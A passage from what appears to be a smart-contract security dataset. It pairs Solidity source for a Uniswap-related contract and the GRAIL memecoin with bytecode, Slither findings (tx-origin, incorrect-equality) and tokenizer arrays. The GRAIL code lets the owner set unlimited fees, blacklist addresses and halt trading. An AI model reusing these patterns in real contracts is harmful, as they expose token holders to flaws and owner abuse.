untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a % b; } } } pragma solidity >=0.5.0; interface IUniswapV2Pair { event Approval(address indexed owner, address indexed spender, uint value); event Transfer(address indexed from, address indexed to, uint value); function name() external pure returns (string memory); function symbol() external pure returns (string memory); function decimals() external pure returns (uint8); function totalSupply() external view returns (uint); function balanceOf(address owner) external view returns (uint); function allowance(address owner, address spender) external view returns (uint); function approve(address spender, uint value) external returns (bool); function transfer(address to, uint value) external returns (bool); function transferFrom(address from, address to, uint value) external returns (bool); function DOMAIN_SEPARATOR() external view returns (bytes32); function PERMIT_TYPEHASH() external pure returns (bytes32); function nonces(address owner) external view returns (uint); function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external; event Mint(address indexed sender, uint amount0, uint amount1); event Burn(address indexed sender, uint amount0, uint amount1, address indexed to); event Swap( address indexed sender, uint amount0In, uint amount1In, uint amount0Out, uint amount1Out, address indexed to ); event Sync(uint112 reserve0, uint112 reserve1); function MINIMUM_LIQUIDITY() external pure returns (uint); function factory() external view returns (address); function token0() external view returns (address); function token1() external view returns (address); function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast); function price0CumulativeLast() external view returns (uint); function price1CumulativeLast() external view returns (uint); function kLast() external view returns (uint); function mint(address to) external returns (uint liquidity); function burn(address to) external returns (uint amount0, uint amount1); function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external; function skim(address to) external; function sync() external; function initialize(address, address) external; }
0x608060405234801561001057600080fd5b50600436106101005760003560e01c806386c9ccad11610097578063e1c7392a11610066578063e1c7392a146101ea578063f28343dc146101f2578063f2fde38b14610205578063f9e7fcee1461021857600080fd5b806386c9ccad146101ab5780638da5cb5b146101be578063b06eae11146101cf578063ce6e8f2c146101e257600080fd5b806337751b35116100d357806337751b351461015a578063609307b61461017d578063715018a6146101905780637341ab0f1461019857600080fd5b80630694db1e146101055780631352d11d1461010f5780631b2e451c1461013f578063286d5b1f14610147575b600080fd5b61010d61022b565b005b606654610122906001600160a01b031681565b6040516001600160a01b0390911681526020015b60405180910390f35b61010d610265565b61010d610155366004610f5b565b6102ad565b61016d610168366004610f75565b610350565b6040519015158152602001610136565b606754610122906001600160a01b031681565b61010d610542565b61010d6101a6366004610f5b565b610578565b61010d6101b936600461101e565b6105c4565b6033546001600160a01b0316610122565b61010d6101dd36600461101e565b6105fe565b61010d61062d565b61010d610661565b606554610122906001600160a01b031681565b61010d610213366004610f5b565b6106d4565b61016d610226366004610f5b565b61076c565b6033546001600160a01b0316331461025e5760405162461bcd60e51b8152600401610255906110c3565b60405180910390fd5b6000606b55565b6033546001600160a01b0316331461028f5760405162461bcd60e51b8152600401610255906110c3565b606680546001600160a01b0319908116909155606780549091169055565b6033546001600160a01b031633146102d75760405162461bcd60e51b8152600401610255906110c3565b6102e0816108a3565b6066546102f5906001600160a01b03166108c5565b61034d5760405162461bcd60e51b815260206004820152602360248201527f63616e27742063616c6c2073657453524320617420636861696e20636f6e74726044820152621858dd60ea1b6064820152608401610255565b50565b6067546000906001600160a01b0316331461036a57600080fd5b6103758484846109bc565b91955093509150610384610c62565b15610466576065546040516337751b3560e01b81523360048201526001600160a01b03858116602483015260448201859052909116906337751b3590606401602060405180830381600087803b1580156103dd57600080fd5b505af11580156103f1573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906104159190610fb0565b6104615760405162461bcd60e51b815260206004820152601760248201527f636861696e20646f5472616e73666572206661696c65640000000000000000006044820152606401610255565b610538565b606654604051631cb1df1560e31b81526001600160a01b0386811660048301528581166024830152604482018590529091169063e58ef8a890606401602060405180830381600087803b1580156104bc57600080fd5b505af11580156104d0573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906104f49190610fb0565b6105385760405162461bcd60e51b815260206004820152601560248201527414d490cc8c081d1c985b9cd9995c8819985a5b1959605a1b6044820152606401610255565b5060019392505050565b6033546001600160a01b0316331461056c5760405162461bcd60e51b8152600401610255906110c3565b6105766000610c81565b565b6033546001600160a01b031633146105a25760405162461bcd60e51b8152600401610255906110c3565b606880546001600160a01b0319166001600160a01b0392909216919091179055565b6033546001600160a01b031633146105ee5760405162461bcd60e51b8152600401610255906110c3565b6105f84382610cd3565b606b5550565b6033546001600160a01b031633146106285760405162461bcd60e51b8152600401610255906110c3565b606e55565b6033546001600160a01b031633146106575760405162461bcd60e51b8152600401610255906110c3565b61057660006108a3565b600054610100900460ff168061067a575060005460ff16155b6106965760405162461bcd60e51b815260040161025590611075565b600054610100900460ff161580156106b8576000805461ffff19166101011790555b6106c0610ce6565b801561034d576000805461ff001916905550565b6033546001600160a01b031633146106fe5760405162461bcd60e51b8152600401610255906110c3565b6001600160a01b0381166107635760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610255565b61034d81610c81565b6067546000906001600160a01b0316156107c85760405162461bcd60e51b815260206004820152601d60248201527f65787465726e616c20636f6e747261637420616c7265616479207365740000006044820152606401610255565b6066546001600160a01b0316156108215760405162461bcd60e51b815260206004820152601d60248201527f65787465726e616c20636f6e747261637420616c7265616479207365740000006044820152606401610255565b6001600160a01b03821661086f5760405162461bcd60e51b815260206004820152601560248201527473726332302063616e206e6f74206265207a65726f60581b6044820152606401610255565b50606780546001600160a01b03199081163317909155606680549091166001600160a01b0392909216919091179055600190565b606580546001600160a01b0319166001600160a01b0392909216919091179055565b606654604051637cf3fe7760e11b81526001600160a01b03918216600482015260009183169063f9e7fcee90602401602060405180830381600087803b15801561090e57600080fd5b505af192505050801561093e575060408051601f3d908101601f1916820190925261093b91810190610fb0565b60015b6109ae5761094a6111b7565b806308c379a01415610973575061095f6111cf565b8061096a5750610975565b50600092915050565b505b3d80801561099f576040519150601f19603f3d011682016040523d82523d6000602084013e6109a4565b606091505b5060009392505050565b50600192915050565b919050565b8282826109d16033546001600160a01b031690565b6001600160a01b0316326001600160a01b031614156109ef57610c59565b606f546109fd904390610d8a565b606b541015610a0c576000606c555b606c5415610aa157606d546040517f5a302ea013858a6cd92dc8395df2c88dd6ebe42bff6e2a1078b4a3e2c290860d91610a519132916001600160a01b031690611036565b60405180910390a160405162461bcd60e51b815260206004820152601c60248201527f506f74656e74696f6e616c2073616e64776963682061747461636b73000000006044820152606401610255565b600080606a60009054906101000a90046001600160a01b03166001600160a01b0316630902f1ac6040518163ffffffff1660e01b815260040160606040518083038186803b158015610af257600080fd5b505afa158015610b06573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b2a9190610fd0565b506001600160701b0391821693501690506000610b536103e8610b4d848a610d96565b90610d96565b90506000610b676103e5610b4d868b610d8a565b90506000610b806001610b7a8486611110565b90610cd3565b9050610b99607054606e54610d9690919063ffffffff16565b811115610bc05743606b55606c899055606d80546001600160a01b03191632179055610bd0565b606e54811115610bd057606e8190555b32600090815260696020526040902054431415610c41577f5a302ea013858a6cd92dc8395df2c88dd6ebe42bff6e2a1078b4a3e2c290860d326000604051610c19929190611036565b60405180910390a16068546001600160a01b031615610c41576068546001600160a01b031696505b50503260009081526069602052604090204390555050505b93509350939050565b6065546000906001600160a01b0316610c7b5750600090565b50600190565b603380546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b6000610cdf82846110f8565b9392505050565b600054610100900460ff1680610cff575060005460ff16155b610d1b5760405162461bcd60e51b815260040161025590611075565b600054610100900460ff16158015610d3d576000805461ffff19166101011790555b610d45610da2565b606a80546001600160a01b0319167303b0da178feca0b0bbd5d76c431f16261d0a76aa1790556161a8606f556032607055801561034d576000805461ff001916905550565b6000610cdf828461114f565b6000610cdf8284611130565b600054610100900460ff1680610dbb575060005460ff16155b610dd75760405162461bcd60e51b815260040161025590611075565b600054610100900460ff16158015610df9576000805461ffff19166101011790555b6106c0600054610100900460ff1680610e15575060005460ff16155b610e315760405162461bcd60e51b815260040161025590611075565b600054610100900460ff16158015610e53576000805461ffff19166101011790555b610e5b610e63565b6106c0610ecd565b600054610100900460ff1680610e7c575060005460ff16155b610e985760405162461bcd60e51b815260040161025590611075565b600054610100900460ff161580156106c0576000805461ffff1916610101179055801561034d576000805461ff001916905550565b600054610100900460ff1680610ee6575060005460ff16155b610f025760405162461bcd60e51b815260040161025590611075565b600054610100900460ff16158015610f24576000805461ffff19166101011790555b6106c033610c81565b80356001600160a01b03811681146109b757600080fd5b80516001600160701b03811681146109b757600080fd5b600060208284031215610f6c578081fd5b610cdf82610f2d565b600080600060608486031215610f89578182fd5b610f9284610f2d565b9250610fa060208501610f2d565b9150604084013590509250925092565b600060208284031215610fc1578081fd5b81518015158114610cdf578182fd5b600080600060608486031215610fe4578283fd5b610fed84610f44565b9250610ffb60208501610f44565b9150604084015163ffffffff81168114611013578182fd5b809150509250925092565b60006020828403121561102f578081fd5b5035919050565b6060808252600e908201526d53616e647769636841747461636b60901b60808201526001600160a01b0392831660208201529116604082015260a00190565b6020808252602e908201527f496e697469616c697a61626c653a20636f6e747261637420697320616c72656160408201526d191e481a5b9a5d1a585b1a5e995960921b606082015260800190565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b6000821982111561110b5761110b6111a1565b500190565b60008261112b57634e487b7160e01b81526012600452602481fd5b500490565b600081600019048311821515161561114a5761114a6111a1565b500290565b600082821015611161576111616111a1565b500390565b601f8201601f1916810167ffffffffffffffff8111828210171561119a57634e487b7160e01b600052604160045260246000fd5b6040525050565b634e487b7160e01b600052601160045260246000fd5b600060033d11156111cc57600481823e5160e01c5b90565b600060443d10156111dd5790565b6040516003193d81016004833e81513d67ffffffffffffffff816024840111818411171561120d57505050505090565b82850191508151818111156112255750505050505090565b843d870101602082850101111561123f5750505050505090565b61124e60208286010187611166565b50909594505050505056fea264697066735822122022162e7fe17806706dc16010ad6ffc719e73d523e5c5d822b05fa0d95150a76464736f6c63430008040033
{"success": true, "error": null, "results": {"detectors": [{"check": "tx-origin", "impact": "Medium", "confidence": "Medium"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
true
null
{'detectors': [{'check': 'tx-origin', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'incorrect-equality', 'impact': 'Medium', 'confidence': 'High'}, {'check': 'unused-return', 'impact': 'Medium', 'confidence': 'Medium'}]}
[ 101, 1014, 2595, 2683, 2581, 2549, 4215, 2692, 2683, 2683, 22932, 2683, 22022, 3540, 8889, 2509, 2497, 2581, 19481, 2509, 3540, 2063, 2629, 7011, 27717, 2581, 21486, 21926, 2497, 2487, 2497, 2487, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 10210, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1022, 1012, 1014, 1025, 8278, 2003, 11890, 11387, 1063, 2724, 9259, 5685, 6820, 4244, 6279, 13701, 2094, 1006, 4769, 9259, 1010, 4769, 3513, 1007, 1025, 3853, 4651, 18715, 2368, 1006, 4769, 2000, 1010, 21318, 3372, 17788, 2575, 3643, 1010, 21318, 3372, 17788, 2575, 2512, 3401, 1010, 21318, 3372, 17788, 2575, 4654, 16781, 7292, 1010, 27507, 16703, 5796, 5603, 11823, 1010, 27507, 2655, 2850, 2696, 8085, 1007, 6327, 5651, 1006, 22017, 2140, 1007, 1025, 3853, 4651, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,759
0x974ad1bf7f72f814fe620350e426a5be4cd09d7f
/** This is the holy grail of memecoins We will have surprises in store If you blink, you'll miss $GRAIL ~tokenomics 1% reflections 8% buy / sell tax */ // SPDX-License-Identifier: Unlicensed pragma solidity ^0.8.10; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } contract GRAIL is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "GRAIL";/// string private constant _symbol = "GRAIL";/// uint8 private constant _decimals = 9;/// mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 4000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _redisFeeOnBuy = 1; uint256 private _taxFeeOnBuy = 8; uint256 private _redisFeeOnSell = 1; uint256 private _taxFeeOnSell = 8; //Original Fee uint256 private _redisFee = _redisFeeOnSell; uint256 private _taxFee = _taxFeeOnSell; uint256 private _previousredisFee = _redisFee; uint256 private _previoustaxFee = _taxFee; mapping(address => bool) public bots; mapping (address => uint256) public _buyMap; address payable private _developmentAddress = payable(0x924635Ed5CcDad99Db64D05cc16Bb4Bd1E5bBBbA); address payable private _marketingAddress = payable(0x924635Ed5CcDad99Db64D05cc16Bb4Bd1E5bBBbA); IUniswapV2Router02 public uniswapV2Router; address public uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = true; uint256 public _maxTxAmount = 40000000 * 10**9; uint256 public _maxWalletSize = 80000000 * 10**9; uint256 public _swapTokensAtAmount = 4000000 * 10**9; event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor() { _rOwned[_msgSender()] = _rTotal; IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);// uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_developmentAddress] = true; _isExcludedFromFee[_marketingAddress] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_redisFee == 0 && _taxFee == 0) return; _previousredisFee = _redisFee; _previoustaxFee = _taxFee; _redisFee = 0; _taxFee = 0; } function restoreAllFee() private { _redisFee = _previousredisFee; _taxFee = _previoustaxFee; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { //Trade start check if (!tradingOpen) { require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled"); } require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit"); require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!"); if(to != uniswapV2Pair) { require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!"); } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= _swapTokensAtAmount; if(contractTokenBalance >= _maxTxAmount) { contractTokenBalance = _maxTxAmount; } if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; //Transfer Tokens if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) { takeFee = false; } else { //Set Fee for Buys if(from == uniswapV2Pair && to != address(uniswapV2Router)) { _redisFee = _redisFeeOnBuy; _taxFee = _taxFeeOnBuy; } //Set Fee for Sells if (to == uniswapV2Pair && from != address(uniswapV2Router)) { _redisFee = _redisFeeOnSell; _taxFee = _taxFeeOnSell; } } _tokenTransfer(from, to, amount, takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _marketingAddress.transfer(amount); } function setTrading(bool _tradingOpen) public onlyOwner { tradingOpen = _tradingOpen; } function manualswap() external { require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function blockBots(address[] memory bots_) public onlyOwner { for (uint256 i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function unblockBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _redisFee, _taxFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 redisFee, uint256 taxFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(redisFee).div(100); uint256 tTeam = tAmount.mul(taxFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner { _redisFeeOnBuy = redisFeeOnBuy; _redisFeeOnSell = redisFeeOnSell; _taxFeeOnBuy = taxFeeOnBuy; _taxFeeOnSell = taxFeeOnSell; } //Set minimum tokens required to swap. function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner { _swapTokensAtAmount = swapTokensAtAmount; } //Set minimum tokens required to swap. function toggleSwap(bool _swapEnabled) public onlyOwner { swapEnabled = _swapEnabled; } //Set maximum transaction function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner { _maxTxAmount = maxTxAmount; } function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner { _maxWalletSize = maxWalletSize; } function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner { for(uint256 i = 0; i < accounts.length; i++) { _isExcludedFromFee[accounts[i]] = excluded; } } }
0x6080604052600436106101d05760003560e01c80637d1db4a5116100f7578063a2a957bb11610095578063c492f04611610064578063c492f04614610520578063dd62ed3e14610540578063ea1644d514610586578063f2fde38b146105a657600080fd5b8063a2a957bb1461049b578063a9059cbb146104bb578063bfd79284146104db578063c3c8cd801461050b57600080fd5b80638f70ccf7116100d15780638f70ccf7146104455780638f9a55c01461046557806395d89b41146101fe57806398a5c3151461047b57600080fd5b80637d1db4a5146103e45780637f2feddc146103fa5780638da5cb5b1461042757600080fd5b8063313ce5671161016f5780636fc3eaec1161013e5780636fc3eaec1461037a57806370a082311461038f578063715018a6146103af57806374010ece146103c457600080fd5b8063313ce567146102fe57806349bd5a5e1461031a5780636b9990531461033a5780636d8aa8f81461035a57600080fd5b80631694505e116101ab5780631694505e1461026b57806318160ddd146102a357806323b872dd146102c85780632fd689e3146102e857600080fd5b8062b8cf2a146101dc57806306fdde03146101fe578063095ea7b31461023b57600080fd5b366101d757005b600080fd5b3480156101e857600080fd5b506101fc6101f736600461191b565b6105c6565b005b34801561020a57600080fd5b50604080518082018252600581526411d490525360da1b6020820152905161023291906119e0565b60405180910390f35b34801561024757600080fd5b5061025b610256366004611a35565b610665565b6040519015158152602001610232565b34801561027757600080fd5b5060145461028b906001600160a01b031681565b6040516001600160a01b039091168152602001610232565b3480156102af57600080fd5b50673782dace9d9000005b604051908152602001610232565b3480156102d457600080fd5b5061025b6102e3366004611a61565b61067c565b3480156102f457600080fd5b506102ba60185481565b34801561030a57600080fd5b5060405160098152602001610232565b34801561032657600080fd5b5060155461028b906001600160a01b031681565b34801561034657600080fd5b506101fc610355366004611aa2565b6106e5565b34801561036657600080fd5b506101fc610375366004611acf565b610730565b34801561038657600080fd5b506101fc610778565b34801561039b57600080fd5b506102ba6103aa366004611aa2565b6107c3565b3480156103bb57600080fd5b506101fc6107e5565b3480156103d057600080fd5b506101fc6103df366004611aea565b610859565b3480156103f057600080fd5b506102ba60165481565b34801561040657600080fd5b506102ba610415366004611aa2565b60116020526000908152604090205481565b34801561043357600080fd5b506000546001600160a01b031661028b565b34801561045157600080fd5b506101fc610460366004611acf565b610888565b34801561047157600080fd5b506102ba60175481565b34801561048757600080fd5b506101fc610496366004611aea565b6108d0565b3480156104a757600080fd5b506101fc6104b6366004611b03565b6108ff565b3480156104c757600080fd5b5061025b6104d6366004611a35565b61093d565b3480156104e757600080fd5b5061025b6104f6366004611aa2565b60106020526000908152604090205460ff1681565b34801561051757600080fd5b506101fc61094a565b34801561052c57600080fd5b506101fc61053b366004611b35565b61099e565b34801561054c57600080fd5b506102ba61055b366004611bb9565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b34801561059257600080fd5b506101fc6105a1366004611aea565b610a3f565b3480156105b257600080fd5b506101fc6105c1366004611aa2565b610a6e565b6000546001600160a01b031633146105f95760405162461bcd60e51b81526004016105f090611bf2565b60405180910390fd5b60005b81518110156106615760016010600084848151811061061d5761061d611c27565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061065981611c53565b9150506105fc565b5050565b6000610672338484610b58565b5060015b92915050565b6000610689848484610c7c565b6106db84336106d685604051806060016040528060288152602001611d6d602891396001600160a01b038a16600090815260046020908152604080832033845290915290205491906111b8565b610b58565b5060019392505050565b6000546001600160a01b0316331461070f5760405162461bcd60e51b81526004016105f090611bf2565b6001600160a01b03166000908152601060205260409020805460ff19169055565b6000546001600160a01b0316331461075a5760405162461bcd60e51b81526004016105f090611bf2565b60158054911515600160b01b0260ff60b01b19909216919091179055565b6012546001600160a01b0316336001600160a01b031614806107ad57506013546001600160a01b0316336001600160a01b0316145b6107b657600080fd5b476107c0816111f2565b50565b6001600160a01b0381166000908152600260205260408120546106769061122c565b6000546001600160a01b0316331461080f5760405162461bcd60e51b81526004016105f090611bf2565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146108835760405162461bcd60e51b81526004016105f090611bf2565b601655565b6000546001600160a01b031633146108b25760405162461bcd60e51b81526004016105f090611bf2565b60158054911515600160a01b0260ff60a01b19909216919091179055565b6000546001600160a01b031633146108fa5760405162461bcd60e51b81526004016105f090611bf2565b601855565b6000546001600160a01b031633146109295760405162461bcd60e51b81526004016105f090611bf2565b600893909355600a91909155600955600b55565b6000610672338484610c7c565b6012546001600160a01b0316336001600160a01b0316148061097f57506013546001600160a01b0316336001600160a01b0316145b61098857600080fd5b6000610993306107c3565b90506107c0816112b0565b6000546001600160a01b031633146109c85760405162461bcd60e51b81526004016105f090611bf2565b60005b82811015610a395781600560008686858181106109ea576109ea611c27565b90506020020160208101906109ff9190611aa2565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905580610a3181611c53565b9150506109cb565b50505050565b6000546001600160a01b03163314610a695760405162461bcd60e51b81526004016105f090611bf2565b601755565b6000546001600160a01b03163314610a985760405162461bcd60e51b81526004016105f090611bf2565b6001600160a01b038116610afd5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016105f0565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610bba5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016105f0565b6001600160a01b038216610c1b5760405162461bcd60e51b815260206004820152602260248201527f455